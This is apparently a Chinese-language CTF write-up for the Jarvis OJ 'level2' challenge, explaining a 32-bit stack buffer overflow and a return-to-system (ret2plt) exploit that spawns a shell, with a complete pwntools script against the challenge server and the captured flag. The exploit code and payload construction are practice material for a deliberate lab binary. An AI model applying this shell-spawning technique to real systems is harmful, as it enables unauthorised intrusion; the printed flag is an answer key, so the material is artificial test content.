level2

level2
一个32位elf ,开启了nx 。
“”

程序行为与前面的几个题一样。
上 ida 看·~~
“”

依然是在 main 函数中调用了一个 vulnerable_function 函数。
“”

溢出点依然是 read 函数。
同样,可以控制返回地址,payload 如下, BBBB 是用来覆盖 ebp ,32位中4字节一个地址
payload = “A”*0x88 + “BBBB” + p32( return_addr )

字符串中有 /bin/sh 。 那么 我们还需要个 system()
“”

system() 在程序中有被用到,但是不是一个单独的函数形式。在 ida 中跟踪过去看到
“”
在这段地址前面有 .plt 前缀,,,这个 .plt 是个啥呢~~
这又说来话长了….. 这里就不讲,只简单的介绍一下。
PLT 又叫延迟绑定,是 elf 文件使用共享库中某些函数的时候 ,就会先调用到这个 plt 项中的结构来进行跳转,每个外部函数在PLT中都有个相应的项。这里简单的说, _system 函数的地址在 .plt 表中就在 0x08048320,只要调用这里就能使用到 _system 函数。
system 并不是自己的程序中定义的函数,而是定义在共享库中的,每个程序都可以使用它。

好了好了,system的地址已近找到了。 system_addr = 0x08048320
所以,payload = “A”*0x88 + “BBBB” + p32( system_addr )

但是,这里我就只是返回到了 system 地址,并没有给它参数 “/bin/sh”,,那这样是不能启到 shell
那参数该怎么办呢。这里给出一篇文章,讲得很清楚。
http://blog.csdn.net/omnispace/article/details/51006084

看完之后,应该就明白最终的payload 写法了
在ida中找到:binsh_addr = 0x0804A024

payload = “A”*0x88 + “BBBB” + p32( system_addr ) + p32(4) + p32(binsh_addr)

最终的exp如下:
from pwn import *

#p = process(‘./level2’)
p = remote(‘pwn2.jarvisoj.com’,9878)
p.recvuntil(“Input:\n”)

bin_sh_addr = 0x0804A024
system_addr = 0x08048320

payload = “A”*140 + p32(system_addr) + p32(4) + p32(bin_sh_addr)
p.send(payload)

p.interactive()
“”

CTF{1759d0cbd854c54ffa886cd9df3a3d52}